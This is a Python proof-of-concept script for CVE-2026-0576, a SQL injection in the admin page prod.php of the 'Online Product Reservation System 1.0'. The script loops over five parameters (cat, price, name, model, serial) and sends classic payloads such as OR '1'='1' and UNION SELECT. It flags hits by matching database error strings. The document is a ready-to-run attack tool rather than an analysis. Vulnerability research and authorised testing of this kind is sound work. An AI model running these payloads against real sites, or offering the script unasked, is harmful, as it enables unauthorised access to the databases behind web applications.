import requests
import sys
# CVE-2026-0576 SQL Injection PoC
# Target: code-projects Online Product Reservation System 1.0
# File: /handgunner-administrator/prod.php
# Vulnerable Parameters: cat, price, name, model, serial
def exploit_sqli(target_url, param):
"""
SQL Injection exploit for CVE-2026-0576
Args:
target_url: Base URL of the vulnerable application
param: Vulnerable parameter name (cat/price/name/model/serial)
"""
# Basic SQL injection payload for testing
# Modify based on specific database type
payloads = [
"' OR '1'='1",
"' OR '1'='1' --",
"' UNION SELECT NULL--",
"' UNION SELECT 1,2,3,4,5--",
"1' AND (SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)--"
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
print(f"[*] Testing {param} parameter for SQL injection...")
for payload in payloads:
# Test URL construction
test_url = f"{target_url}/handgunner-administrator/prod.php?{param}={payload}"
try:
response = requests.get(test_url, headers=headers, timeout=10)
# Check for SQL error indicators
if any(indicator in response.text.lower() for indicator in [
'sql syntax', 'mysql', 'warning:', 'error in your sql',
'odbc', 'syntax error', 'unterminated string'
]):
print(f"[!] Potential SQL injection detected with payload: {payload}")
print(f"[!] Response length: {len(response.text)}")
return True
except requests.exceptions.RequestException as e:
print(f"[!] Request failed: {e}")
print("[*] Basic testing completed. Manual verification recommended.")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve_2026_0576.py <target_url>")
print("Example: python cve_2026_0576.py http://192.168.1.100/online_product_reservation")
sys.exit(1)
target = sys.argv[1].rstrip('/')
# Test all vulnerable parameters
params = ['cat', 'price', 'name', 'model', 'serial']
for param in params:
exploit_sqli(target, param)